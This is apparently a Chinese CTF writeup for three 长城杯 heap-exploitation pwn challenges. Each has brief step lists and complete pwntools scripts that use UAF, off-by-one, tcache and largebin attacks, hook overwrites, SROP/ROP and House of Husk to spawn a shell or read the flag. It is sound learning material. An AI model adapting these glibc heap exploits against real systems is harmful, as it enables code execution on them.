长城杯 Pwn Writeup

K1ng_in_h3Ap_I

  • 程序给了一个后门函数,可以leak出printf函数的低3位。通过相对偏移计算出IO stdout的地址
  • off by one + UAF 来构造堆重叠打IO来leak出libc
  • 然后fastbin 打 malloc_hook 来getshell,这里需要利用realloc来调一下栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env python
# author:ssta
from pwn import *
# context.arch = 'amd64'
# context.log_level='debug'
# context.binary = ''


file_name = './pwn'
local = 1
ip = '47.104.190.157'
port = 26840
elf = ELF(file_name)
libc = ELF('libc.so.6')
# libc=elf.libc


sl = lambda x : p.sendline(x)
sd = lambda x : p.send(x)
sla = lambda x,y : p.sendlineafter(x,y)
sda = lambda x,y : p.sendafter(x,y)
rud = lambda x : p.recvuntil(x,drop=True)
ru = lambda x : p.recvuntil(x)
rc = lambda x : p.recv(x)
rl = lambda : p.recvline()
li = lambda name,x : log.info(name+':'+hex(x))
ls = lambda name,x : log.success(name+':'+hex(x))
pi = lambda : p.interactive()
pcls = lambda : p.close()
########################################
# define interactive function
def add(idx,size):
sla('>> \n','1')
sla('index:\n',str(idx))
sla('size:\n',str(size))

def add2(idx,size):
sla('>> ','1')
sla('index:',str(idx))
sla('size:',str(size))

def edit(idx,content):
sla('>> \n','3')
sla('index:\n',str(idx))
sda('context:\n',content)

def edit2(idx,content):
sla('>> ','3')
sla('index:',str(idx))
sda('context:',content)


def backdoor():
sla('>> \n','666')


def free(idx):
sla('>> \n','2')
sla('index:\n',str(idx))

def free2(idx):
sla('>> ','2')
sla('index:',str(idx))
# end
#######################################
# start pwn
def pwn():
global p
global libc
global elf

if args.R:
p = remote(ip,int(port))
else:
p = process(file_name)
#########################################
# leak
backdoor()
printf_base = int(rud('\n'),16)
ls("printf low bits ",printf_base)
hook_base = printf_base+0x36f2dd
ls("malloc hook low bits ",hook_base)
stdout_base = printf_base+0x36fe10
ls("stdout low bits ",stdout_base)
add(0,0x18)
add(1,0x28)
add(2,0x68)
add(3,0x68)

free(2)
edit(0,'A'*0x18+'\xa1')
free(1)
add(4,0x28)
# add(5,0x68)
edit(2,p32(stdout_base-0x43)[:3]+'\n')
# input()
add(5,0x68)
add(6,0x68)
edit(6,"\x00"*0x33+p64(0xfbad1800)+p64(0)*3+"\x00"+'\n')

# rc(0x30)
libc.address = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
ls("libc ",libc.address)

# free(5)
sl('2')
sla('index:',str(5))
edit2(5,p64(libc.sym['__malloc_hook']-0x23)+'\n')
add2(7,0x68)
add2(8,0x68)
# 283174 283258 983972 987719
realloc_hook = libc.sym['__libc_realloc']
edit2(8,'\x00'*0xb+p64(libc.address+283258)+p64(realloc_hook+8)+'\n')
# add()
# gdb.attach(p)
free2(4)
add2(9,0x28)

pi()
# end
#########################################

if __name__ == '__main__':
pwn()

K1ng_in_h3Ap_II

后面的这两个题都是赛后根据山石大佬的wp复现的,当时被这道题的堆布局给绕晕了。后来看了他们公众号有种茅塞顿开的感觉QAQ,还是太菜啦

题目的一些点:

  • 2.27的libc

  • 同样存在UAF

  • 开了沙箱只能orw

解题思路:

  • 先填满tcachebin,利用scanf的缓冲区来将fastbin里的chunk给放到unsortedbin
  • UAF leak libc
  • tcache bin attack 打 __free_hook 为setcontext+53
  • 在堆上构造sigframe,这里要注意下偏移,ptr+0xa0、ptr+0xa8等等。(a8通常可以放一个ret,a0是新rsp地址)
  • 调用free来SROP读flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python
from pwn import *
# context.arch = 'amd64'
context.log_level='debug'
# context.binary = ''


file_name = './pwn'
local = 1
ip = ''
port = 0
elf = ELF(file_name)
libc = elf.libc


sl = lambda x : p.sendline(x)
sd = lambda x : p.send(x)
sla = lambda x,y : p.sendlineafter(x,y)
sda = lambda x,y : p.sendafter(x,y)
rud = lambda x : p.recvuntil(x,drop=True)
ru = lambda x : p.recvuntil(x)
rc = lambda x : p.recv(x)
rl = lambda : p.recvline()
li = lambda name,x : log.info(name+':'+hex(x))
ls = lambda name,x : log.success(name+':'+hex(x))
pi = lambda : p.interactive()
pcls = lambda : p.close()
########################################
# define interactive function
def add(idx,size):
sla('>> \n','1')
sla('index:\n',str(idx))
sla('size:\n',str(size))


def edit(idx,content):
sla('>> \n','3')
sla('index:\n',str(idx))
sda('context:\n',content)

def show(idx):
sla('>> \n','4')
sla('index:\n',str(idx))

def free(idx):
sla('>> \n','2')
sla('index:\n',str(idx))

# end
#######################################
# start pwn
def pwn():
global p
global libc
global elf

if args.R:
p = remote(ip,int(port))
else:
p = process(file_name)
#########################################

for i in range(15):
add(i,0x58)
for i in range(8):
free(i)
sla('>> \n','0'*0x2500)

show(7)
libc.address = u64(rc(6).ljust(8,'\x00'))-0x3ebcf0
print hex(libc.address)
show(6)
heap_base = u64(rc(6).ljust(8,'\x00'))-0x1150
print hex(heap_base)

pop_rsi = libc.address+0x0000000000023e8a
pop_rdx = libc.address+0x0000000000001b96
pop_rdi = libc.address+0x000000000002155f
pop_rdx_rsi = libc.address+0x0000000000130889
ret = libc.address+0x00000000000008aa

edit(6,p64(libc.sym['__free_hook']))
add(10,0x58)
add(11,0x58) # __free_hook
edit(11,p64(libc.sym['setcontext']+53))

# tmp
payload0 = 'a'*0x10 + "./flag".ljust(0x30,'\x00')
payload0 += p64(0x1030 + heap_base)
payload0 += p64(ret)
edit(1,payload0)
rop_chain = p64(pop_rdi) + p64(0) + p64(pop_rdx_rsi) + p64(0x1000) + p64(heap_base + 0x1060)
rop_chain += p64(libc.sym['read'])
edit(2,rop_chain)

# gdb.attach(p)
free(0)

ropchain = p64(pop_rdi) + p64(heap_base+0xfe0) + p64(pop_rsi) + p64(0) + p64(libc.sym['open'])
ropchain += p64(pop_rdi) + p64(3) + p64(pop_rdx_rsi) + p64(0x100) + p64(heap_base+0x500)
ropchain += p64(libc.sym['read'])
ropchain += p64(pop_rdi) + p64(1) + p64(pop_rdx_rsi) + p64(0x100) + p64(heap_base+0x500)
ropchain += p64(libc.sym['write'])
ropchain += p64(pop_rdi)+p64(0)+p64(libc.sym['exit'])
p.send(ropchain)


pi()
# end
#########################################

if __name__ == '__main__':
pwn()

hello_pwn

House of Husk

利用思路:

  • 数组越界修改IO stdout leak libc
  • largebin attack 将__printf_function_table__printf_arginfo_table写成可控堆块地址
    • 需要攻击者在largebin和unsorted_bin中分别布置一个chunk
    • 这两个chunk需要在归位之后处于同一个largebin的index中
    • unsortedbin中的chunk要比largebin中的大
    • 需要largebin中的bk指针和bk_nextsize指针可控
  • __printf_arginfo_table指向地址偏移ord('s')处布置好one_gadget
  • 调用参数中含有%s的printf函数来执行onegadget,这里我们输入一个错误的choice即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python
from pwn import *
# context.arch = 'amd64'
context.log_level='debug'
# context.binary = ''


file_name = './pwn'
local = 1
ip = ''
port = 0
elf = ELF(file_name)
libc = elf.libc


sl = lambda x : p.sendline(x)
sd = lambda x : p.send(x)
sla = lambda x,y : p.sendlineafter(x,y)
sda = lambda x,y : p.sendafter(x,y)
rud = lambda x : p.recvuntil(x,drop=True)
ru = lambda x : p.recvuntil(x)
rc = lambda x : p.recv(x)
rl = lambda : p.recvline()
li = lambda name,x : log.info(name+':'+hex(x))
ls = lambda name,x : log.success(name+':'+hex(x))
pi = lambda : p.interactive()
pcls = lambda : p.close()
########################################
# define interactive function
def add(size,content):
sla('choice :','1')
sla('Size : ',str(size))
sda('Content:',content)


def edit(idx,content):
sla('choice :','2')
sla('Index :',str(idx))
sda('Content: ',content)


def free(idx):
sla('choice :','3')
sla('Index :',str(idx))

def magic(idx,content):
sla('choice :','666')
sda('Index :',str(idx))
sda('Content: ',content)

# end
#######################################
# start pwn
def pwn():
global p
global libc
global elf

if args.R:
p = remote(ip,int(port))
else:
p = process(file_name)
#########################################
# leak used magic
magic(-16,p64(0xfbad1887)+p64(0)*3+'\x00')
libc.address = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x1eb980
print hex(libc.address)

ogg = libc.address+0xe6c7e
function_table=libc.address+0x1f0ff8
arginfo_table=libc.address+0x1f1350

add(0x750,'a')
add(0x740,'a')
add(0x740,'a')
# add(0x740,'a')
# add(0x740,'a')
# add(0x740,'a')
# add(0x740,'a')
free(0)
add(0x800,'a')
free(2)
edit(0,p64(0)*3+p64(function_table-0x20))
add(0x700,'a')

free(4)
edit(0,p64(0)*3+p64(arginfo_table-0x20)+'x'*((ord('s'))*8-0x30)+p64(ogg))
add(0x700,'a')

# gdb.attach(p)

sla('choice :','111')
pi()
# end
#########################################

if __name__ == '__main__':
pwn()

Reference

https://mp.weixin.qq.com/s/tCkawh1QfPYnyxmChRvHhw